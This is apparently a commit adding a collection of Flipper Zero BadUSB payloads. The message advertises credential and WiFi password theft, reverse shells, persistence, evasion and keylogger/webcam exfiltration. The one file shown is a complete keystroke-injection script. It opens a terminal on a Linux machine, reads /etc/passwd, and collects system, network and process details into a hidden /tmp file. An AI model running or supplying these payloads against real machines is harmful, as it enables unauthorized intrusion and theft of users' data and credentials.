Add NullSec BadUSB payload collection

Added 25 BadUSB payloads for Flipper Zero:
- System reconnaissance (Windows/Linux/Mac)
- Credential extraction & WiFi password stealing
- Reverse shells (PowerShell & Bash)
- Defense evasion & persistence
- Data exfiltration (keylogger, webcam, clipboard)
- Harmless pranks

All payloads include proper headers and documentation.
Cross-platform support for Windows, Linux, and macOS.

BadUSB/NullSec-BadUSB/21_LinuxRecon.txt

@@ -0,0 +1,10 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Linux System Recon
+REM Target: Linux
+REM ========================================
+DELAY 1000
+CTRL ALT t
+DELAY 1000
+STRING bash -c 'echo "=== SYSTEM INFO ===" > /tmp/.recon.txt; uname -a >> /tmp/.recon.txt; echo "=== USERS ===" >> /tmp/.recon.txt; cat /etc/passwd >> /tmp/.recon.txt; echo "=== NETWORK ===" >> /tmp/.recon.txt; ip a >> /tmp/.recon.txt; echo "=== PROCESSES ===" >> /tmp/.recon.txt; ps aux >> /tmp/.recon.txt' && exit
+ENTER